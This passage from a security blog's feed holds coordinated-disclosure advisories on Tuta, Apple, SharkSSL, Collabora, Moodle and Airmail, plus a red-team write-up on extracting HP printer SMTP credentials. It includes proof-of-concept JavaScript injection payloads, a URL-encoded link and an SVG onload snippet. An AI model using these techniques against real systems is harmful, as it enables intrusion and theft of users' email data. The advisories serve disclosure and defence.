  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://tuta.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-23655&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Tutanota for iOS. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received emails.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-23655&quot;&gt;CVE-2024-23655&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/security/advisories/GHSA-5h47-g927-629g&quot;&gt;Tuta Mail Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-25:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-29:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tom Peine (&lt;a href=&quot;mailto:Tom.Peine@telekom.de&quot;&gt;Tom.Peine@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Security Content for iOS, iPadOS, and macOS</title>
    <link href="https://github.security.telekom.com/2024/11/apple-heap-overflow.html"/>
    <id>https://github.security.telekom.com/2024/11/apple-heap-overflow.html</id>
    <updated>2024-11-27T00:00:00+00:00</updated>
    <summary type="html">A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file.</summary>
    <content type="html">&lt;p&gt;A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Apple Software&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; macOS Ventura &amp;lt; 13.7.1, iOS &amp;lt; 17.7, iPadOS &amp;lt; 17.7, macOS Sonoma &amp;lt; 14.7&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Out-of-bounds Write (CWE-787)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://support.apple.com&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-44126&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This vulnerability has the potential to lead to data exfiltration and system instability, posing a risk to users of iOS and macOS devices. It is recommended that users ensure they have the latest software versions installed to mitigate this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44126&quot;&gt;CVE-2024-44126&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121238&quot;&gt;Apple Support - Update 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121246&quot;&gt;Apple Support - Update 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121247&quot;&gt;Apple Support - Update 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121249&quot;&gt;Apple Support - Update 4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121250&quot;&gt;Apple Support - Update 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121568&quot;&gt;Apple Support - Update 6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-09-16:&lt;/strong&gt; Vendor has fixed the vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-10-28:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-27:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Remote buffer overflow vulnerability in SharkSSL TLS Client Key Exchange handshake processing</title>
    <link href="https://github.security.telekom.com/2024/11/sharkssl.html"/>
    <id>https://github.security.telekom.com/2024/11/sharkssl.html</id>
    <updated>2024-11-04T00:00:00+00:00</updated>
    <summary type="html">A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. View the full advisory</summary>
    <content type="html">&lt;p&gt;A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/dl-241104-cve-2024-48075-data.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Collabora Office for Android - JavaScript Injection via Links</title>
    <link href="https://github.security.telekom.com/2024/09/collabora-office-android-javascript-injection.html"/>
    <id>https://github.security.telekom.com/2024/09/collabora-office-android-javascript-injection.html</id>
    <updated>2024-09-06T00:00:00+00:00</updated>
    <summary type="html">A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.</summary>
    <content type="html">&lt;p&gt;A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Collabora Office for Android&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &amp;lt; 24.04.6.2&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Medium&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.collaboraonline.com/collabora-office-android-ios/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-45045&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Collabora Office for Android. In affected versions of the app, it is possible to inject JavaScript via a document with a specially crafted link using URL-encoded values. For instance, a link with the target &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;http://www.google.de/%22%27%2b%61%6c%65%72%74%28%31%29%2b%27&quot;&lt;/code&gt; triggers the execution of the JavaScript code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;alert(1)&quot;&lt;/code&gt; when the link is activated. Since it is possible for a link to be automatically activated when a document is opened, the vulnerability could be triggered after a victim opens a document without any further user interaction.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;Since the Android JavaScript interface allows access to internal functions, the likelihood that the app could be compromised via this vulnerability is considered high.&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;It is recommended to upgrade to the latest version of Collabora Office for Android to fix this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/CollaboraOnline/online/security/advisories/GHSA-78cg-rg4q-26qv&quot;&gt;Collabora Advisory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.collabora.libreoffice&quot;&gt;Collabora Office - Play Store&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-18:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-29:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-09-06:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Moodle - Reflected XSS Vulnerability via H5P error message</title>
    <link href="https://github.security.telekom.com/2024/08/reflected-xss-moodle.html"/>
    <id>https://github.security.telekom.com/2024/08/reflected-xss-moodle.html</id>
    <updated>2024-08-28T00:00:00+00:00</updated>
    <summary type="html">A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.</summary>
    <content type="html">&lt;p&gt;A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Moodle&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Cross-site Scripting (CWE-79)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://moodle.org/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-43439&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during a penetration test of a Moodle-based website. The attack is possible when a teacher, who could also be the victim, uploads an H5P file to a course. While the H5P file itself does not contain malicious content, an attacker (such as a malicious student) can obtain and modify the link associated with this file. By replacing part of the link with double URL-encoded JavaScript code, the attacker can create a link that, when viewed by the victim, triggers execution of the embedded JavaScript code. This is possible because an error message related to H5P files is not properly sanitized before it is displayed.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;An attacker could execute arbitrary JavaScript code within the victim’s Moodle session, which could lead to actions such as session hijacking or unauthorized data access.&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;It is recommended to upgrade to the latest version of Moodle to fix this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://moodle.org/mod/forum/discuss.php?d=461209#p1851881&quot;&gt;Moodle Advisory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43439&quot;&gt;CVE-2024-43439&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-03:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-19:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-28:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Peripheral Sight - Red Teaming with printer CVE-2024-5143</title>
    <link href="https://github.security.telekom.com/2024/07/rt-peripheral-sight-printer-cve.html"/>
    <id>https://github.security.telekom.com/2024/07/rt-peripheral-sight-printer-cve.html</id>
    <updated>2024-07-03T00:00:00+00:00</updated>
    <summary type="html">In a red team engagement, anything can be a target, and depending on what has already been looted (or not), everything will be a target - even as a form of desperation. In this stage of an engagement, a red team member may have to broaden their vision and should also bring peripherals into their scope, as they may also contain valuable information or loot. This happened during a red team engagement with the DT Security Red Team, which resulted in finding juicy information through a previously unknown CVE on an HP Printer.</summary>
    <content type="html">&lt;p&gt;In a red team engagement, anything can be a target, and depending on what has already been looted (or not), everything &lt;em&gt;will&lt;/em&gt; be a target - even as a form of desperation.
In this stage of an engagement, a red team member may have to broaden their vision and should also bring peripherals into their scope, as they may also contain valuable information or loot.
This happened during a red team engagement with the DT Security Red Team, which resulted in finding juicy information through a previously unknown CVE on an HP Printer.&lt;!--more--&gt; &lt;/p&gt;

&lt;h3 id=&quot;why-target-a-printer&quot;&gt;Why target a printer?&lt;/h3&gt;

&lt;p&gt;As mentioned before, depending on how hardened the infrastructure may be, finding good loot for further access to the network may be scarce. The idea of targeting a printer revolves around the fact that multifunctional devices may resolve user accounts via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldap&lt;/code&gt; and send their mail via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smtp&lt;/code&gt;, authenticating with at least a service account.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/peripheral_sight_MFPAsTarget.svg&quot; alt=&quot;mfp_as_target&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;what-actually-happened&quot;&gt;What actually happened?&lt;/h3&gt;

&lt;p&gt;At first, during a red team assumed breach engagement, nothing of significant value was found on the internal network - services were all authenticated through Microsoft-SSO or other well-established OpenID Connect solutions (all patched and up to date).&lt;/p&gt;

&lt;p&gt;Being frustrated and grasping onto every straw there was, the red team eventually came upon a multifunctional office printer shared by every worker in the remote office.&lt;/p&gt;

&lt;p&gt;A detailed port scan revealed the typical open ports &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80/443&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9100&lt;/code&gt;. Since connecting to port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9100&lt;/code&gt; revealed nothing of interest, the team proceeded onto the printer’s built-in web server.&lt;/p&gt;

&lt;h4 id=&quot;ldap-or-mail&quot;&gt;LDAP or Mail?&lt;/h4&gt;

&lt;p&gt;When clicking through the web interface, nothing concerning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldap&lt;/code&gt; resolution was found, but it was discovered that the mail functionality was configured with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scan@xxx.com&lt;/code&gt; user!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/peripheral_sight_scan2mal.png&quot; alt=&quot;Scan2Mail&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, something that might be of value - so of course the team attempted to edit the settings to see whether information regarding the scan account could be extracted.
The edit page revealed the target SMTP-server, username and a password field:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/peripheral_sight_settingsPage.png&quot; alt=&quot;SettingsPage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hoping that the web interface may disclose the password in any way was naturally…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/peripheral_sight_contentPWField.png&quot; alt=&quot;ContentPasswordField&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… not crowned with success. =(&lt;/p&gt;

&lt;h4 id=&quot;the-simple-idea&quot;&gt;The simple idea…&lt;/h4&gt;

&lt;p&gt;So the printer did not disclose the password via the web interface… But can we &lt;em&gt;only&lt;/em&gt; change the remote SMTP server address while retaining all the other information including the unkown password stored in the printer?&lt;/p&gt;

&lt;p&gt;We tried and:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/peripheral_sight_inboundSMTP.png&quot; alt=&quot;InboundSMTP&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It worked! We could change the target SMTP and still retain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user:password&lt;/code&gt; already stored on the printer, resulting in a full disclosure of the credentials when run against a self-hosted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plain&lt;/code&gt;-authenticated SMTP server (as shown above).&lt;/p&gt;

&lt;p&gt;-&amp;gt; So another question remains: Can anybody change these settings? Apparently not, as admin access is required, but the interface does not restrict you if it is configured without authentication or has default credentials.&lt;/p&gt;

&lt;h4 id=&quot;was-it-worth-it&quot;&gt;Was it worth it?&lt;/h4&gt;

&lt;p&gt;Without disclosing too much confidential information, yes it was - and it led to the full compromise of a major business service the client offered. =)&lt;/p&gt;

&lt;h3 id=&quot;the-conclusion&quot;&gt;The conclusion&lt;/h3&gt;

&lt;p&gt;Broadening your vision in a red team engagement may not only reveal new targets leading to a compromise of a service, but it can also end up with finding a CVE in a multifunctional printer.&lt;/p&gt;

&lt;p&gt;Furthermore, restricting service accounts to their apparent use should be a given and should not be circumvented because some functions are convenient to use (disabling the whole concept).&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;HP: &lt;a href=&quot;https://support.hp.com/us-en/document/ish_10643804-10643841-16/hpsbpi03941&quot;&gt;https://support.hp.com/us-en/document/ish_10643804-10643841-16/hpsbpi03941&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Simple PoC to dump credentials: &lt;a href=&quot;https://github.com/petermueller-T/PoCs/blob/main/python/simple_smtp_server.py&quot;&gt;https://github.com/petermueller-T/PoCs/blob/main/python/simple_smtp_server.py&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-02:&lt;/strong&gt; Reported to Vendor&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-05-23:&lt;/strong&gt; Vendor has released the security bulletin with new firmware.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-04:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Peter Müller (&lt;a href=&quot;mailto:peter.mueller37@telekom.de&quot;&gt;peter.mueller37@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Airmail App - JavaScript Injection Vulnerability Exposes Sensitive Data</title>
    <link href="https://github.security.telekom.com/2024/04/airmail.html"/>
    <id>https://github.security.telekom.com/2024/04/airmail.html</id>
    <updated>2024-04-29T00:00:00+00:00</updated>
    <summary type="html">A vulnerability has been identified in the popular iOS/macOS email apps “Airmail - Your Mail With You” and “Airmail for Business” that poses a significant risk. The vulnerability, classified as a JavaScript injection combined with an insecurely configured WebView, was present in versions of the apps prior to 5.7.</summary>
    <content type="html">&lt;p&gt;A vulnerability has been identified in the popular iOS/macOS email apps “Airmail - Your Mail With You” and “Airmail for Business” that poses a significant risk. The vulnerability, classified as a JavaScript injection combined with an insecurely configured WebView, was present in versions of the apps prior to 5.7. &lt;!--more--&gt;Users are strongly encouraged to update to the latest version of “Airmail - Your Mail With You” and “Airmail for Business” to protect their data.&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Airmail - Your Mail With You, Airmail for Business&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &amp;lt; 5.7&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Neutralization of Input During Web Page Generation / “Cross-site Scripting” (CWE-79), Insecure Storage of Sensitive Information (CWE-922)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://airmailapp.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; N/A&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability exists because JavaScript code that can access sensitive information can be injected into an HTML email message. For example, the following HTML code could trigger JavaScript to run when an email is opened:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Please Wait...
&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt; 
&lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;setTimeout(function(){document.write(&quot;&amp;lt;p style=color:white&amp;gt;JavaScript was executed.&amp;lt;/p&amp;gt;&quot;);},1000);&apos;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
Since the Web view in which the code is executed is insecurely configured to allow the JavaScript code to access certain sensitive data, malicious code could access this data.&lt;/p&gt;

&lt;p&gt;The vulnerability has been demonstrated using a specially crafted email. Once the HTML email containing the malicious JavaScript code is opened in the app, it gains access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data.db&lt;/code&gt; file. This file contains the user’s email data for the current mailbox. As a result, the malicious code can send the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data.db&lt;/code&gt; file to an external server.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;Exploitation of this vulnerability by an attacker could have serious privacy implications.  The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data.db&lt;/code&gt; file contains extensive sensitive email information, such as all emails in the mailbox, sent emails, etc.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://airmailapp.com/&quot;&gt;https://airmailapp.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apps.apple.com/de/app/airmail-your-mail-with-you/id993160329&quot;&gt;https://apps.apple.com/de/app/airmail-your-mail-with-you/id993160329&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apps.apple.com/de/app/airmail-for-business/id1530968324&quot;&gt;https://apps.apple.com/de/app/airmail-for-business/id1530968324&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-13:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-18:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-29:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>T-Pot Version 24.04 released</title>
    <link href="https://github.security.telekom.com/2024/04/honeypot-tpot-24.04-released.html"/>
    <id>https://github.security.telekom.com/2024/04/honeypot-tpot-24.04-released.html</id>
    <updated>2024-04-23T00:00:00+00:00</updated>
    <summary type="html">We are proud to announce the release of T-Pot 24.04! T-Pot 24.04 marks probably the largest change in the history of the project. While most of the changes have been made to the underlying platform some changes will be standing out in particular - a T-Pot ISO image will no longer be provided with the benefit that T-Pot will now run on multiple Linux distributions (Alma Linux, Debian, Fedora, OpenSuse, Raspbian, Rocky Linux, Ubuntu), Raspberry Pi (optimized) and macOS / Windows (limited).</summary>
    <content type="html">&lt;p&gt;We are proud to announce the release of T-Pot 24.04! T-Pot 24.04 marks probably the largest change in the history of the project. While most of the changes have been made to the underlying platform some changes will be standing out in particular - a T-Pot ISO image will no longer be provided with the benefit that T-Pot will now run on multiple Linux distributions (Alma Linux, Debian, Fedora, OpenSuse, Raspbian, Rocky Linux, Ubuntu), Raspberry Pi (optimized) and macOS / Windows (limited).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/kibana_a.png&quot; alt=&quot;Dashbaord&quot; /&gt;&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;T-Pot is the all in one, optionally distributed, multiarch (amd64, arm64) honeypot plattform, supporting 20+ honeypots and countless visualization options using the Elastic Stack, animated live attack maps and lots of security tools to further improve the deception experience.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TL;DR&lt;/h1&gt;
&lt;ol&gt;
  &lt;li&gt;Meet the &lt;a href=&quot;#system-requirements&quot;&gt;system requirements&lt;/a&gt;. The T-Pot installation needs at least 8-16 GB RAM, 128 GB free disk space as well as a working (outgoing non-filtered) internet connection.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#choose-your-distro&quot;&gt;Download&lt;/a&gt; or use a running, supported distribution.&lt;/li&gt;
  &lt;li&gt;Install the ISO with as minimal packages / services as possible (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh&lt;/code&gt; required)&lt;/li&gt;
  &lt;li&gt;Install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ sudo [apt, dnf, zypper] install curl&lt;/code&gt; if not installed already&lt;/li&gt;
